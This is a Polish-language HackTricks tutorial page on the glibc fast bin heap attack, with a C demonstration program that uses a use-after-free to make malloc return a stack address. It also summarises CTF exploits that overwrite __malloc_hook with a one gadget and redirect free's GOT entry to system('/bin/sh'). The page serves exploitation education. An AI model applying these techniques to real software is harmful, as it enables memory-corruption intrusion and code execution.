Fast Bin Attack

Reading time: 8 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Podstawowe informacje

Aby uzyskać więcej informacji na temat fast bin, sprawdź tę stronę:

{{#ref}} bins-and-memory-allocations.md {{#endref}}

Ponieważ fast bin jest listą jednokierunkową, istnieje znacznie mniej zabezpieczeń niż w innych binach, a zmiana adresu w zwolnionym kawałku fast bin wystarczy, aby móc później przydzielić kawałek w dowolnym adresie pamięci.

Podsumowując:

c
ptr0 = malloc(0x20);
ptr1 = malloc(0x20);

// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)

// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);

ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it

Możesz znaleźć pełny przykład w bardzo dobrze wyjaśnionym kodzie z https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html:

c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");

puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;

ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);

printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);


printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");

int stackVar = 0x55;

printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);

printf("Proceeding that I'm going to write just some data to the three heap chunks\n");

char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";

memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);

printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");

printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);

printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");

free(ptr0);
free(ptr1);
free(ptr2);

printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);

printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");


printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");

*ptr1 = (unsigned long)((char *)&stackVar);

printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);


printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");

unsigned long *ptr3, *ptr4, *ptr5;

ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);

printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);

printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}

caution

Jeśli możliwe jest nadpisanie wartości globalnej zmiennej global_max_fast dużą liczbą, pozwala to na generowanie chunków fast bin o większych rozmiarach, co potencjalnie umożliwia przeprowadzenie ataków fast bin w scenariuszach, w których wcześniej nie było to możliwe. Sytuacja ta jest przydatna w kontekście large bin attack i unsorted bin attack

Przykłady

  • CTF https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html:
  • Możliwe jest alokowanie chunków, zwalnianie ich, odczytywanie ich zawartości i wypełnianie ich (z wykorzystaniem podatności na przepełnienie).
  • Konsolidacja chunków dla infoleak: Technika ta polega zasadniczo na nadużywaniu przepełnienia, aby stworzyć fałszywy prev_size, tak aby jeden poprzedni chunk znalazł się w większym, więc podczas alokacji większego chunku zawierającego inny chunk, możliwe jest wydrukowanie jego danych i wyciek adresu do libc (main_arena+88).
  • Nadpisanie malloc hook: W tym przypadku, nadużywając wcześniejszej sytuacji nakładającej się, możliwe było posiadanie 2 chunków, które wskazywały na tę samą pamięć. Dlatego zwolnienie obu (zwolnienie innego chunku pomiędzy, aby uniknąć ochrony) pozwoliło na posiadanie tego samego chunku w fast bin 2 razy. Następnie możliwe było ponowne alokowanie go, nadpisanie adresu do następnego chunku, aby wskazywał trochę przed __malloc_hook (tak aby wskazywał na liczbę całkowitą, którą malloc uważa za wolny rozmiar - kolejny bypass), ponowne alokowanie go, a następnie alokowanie innego chunku, który otrzyma adres do malloc hooks.
    Na koniec zapisano tam one gadget.
  • CTF https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html:
  • Istnieje przepełnienie sterty oraz użycie po zwolnieniu i podwójne zwolnienie, ponieważ po zwolnieniu chunku możliwe jest ponowne użycie i ponowne zwolnienie wskaźników.
  • Libc info leak: Wystarczy zwolnić kilka chunków, a otrzymają one wskaźnik do części lokalizacji głównej areny. Ponieważ można ponownie używać zwolnionych wskaźników, wystarczy odczytać ten adres.
  • Fast bin attack: Wszystkie wskaźniki do alokacji są przechowywane w tablicy, więc możemy zwolnić kilka chunków fast bin, a w ostatnim nadpisać adres, aby wskazywał trochę przed tą tablicą wskaźników. Następnie alokujemy kilka chunków o tym samym rozmiarze i najpierw otrzymamy ten prawidłowy, a potem fałszywy zawierający tablicę wskaźników. Możemy teraz nadpisać te wskaźniki alokacji, aby adres GOT free wskazywał na system, a następnie zapisać "/bin/sh" w chunku 1, aby następnie wywołać free(chunk1), co zamiast tego wykona system("/bin/sh").
  • CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html
  • Inny przykład nadużywania przepełnienia jednego bajtu do konsolidacji chunków w nieposortowanej binie i uzyskania wycieku informacji libc, a następnie przeprowadzenia ataku fast bin w celu nadpisania malloc hook adresem one gadget.
  • CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html
  • Po wycieku informacji nadużywając nieposortowanej biny z UAF, aby wyciekł adres libc i adres PIE, exploit tego CTF użył ataku fast bin do alokacji chunku w miejscu, gdzie znajdowały się wskaźniki do kontrolowanych chunków, więc możliwe było nadpisanie niektórych wskaźników, aby zapisać one gadget w GOT.
  • Możesz znaleźć atak Fast Bin nadużyty przez atak nieposortowanej biny:
  • Zauważ, że przed przeprowadzeniem ataków fast bin powszechnie nadużywa się listy zwolnień, aby wyciekać adresy libc/heap (gdy jest to potrzebne).
  • Robot Factory. BlackHat MEA CTF 2022
  • Możemy alokować tylko chunków o rozmiarze większym niż 0x100.
  • Nadpisz global_max_fast używając ataku Unsorted Bin (działa 1/16 razy z powodu ASLR, ponieważ musimy zmodyfikować 12 bitów, ale musimy zmodyfikować 16 bitów).
  • Atak Fast Bin w celu modyfikacji globalnej tablicy chunków. Daje to arbitralną prymitywę odczytu/zapisu, co pozwala na modyfikację GOT i ustawienie niektórych funkcji, aby wskazywały na system.

{{#ref}} unsorted-bin-attack.md {{#endref}}

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks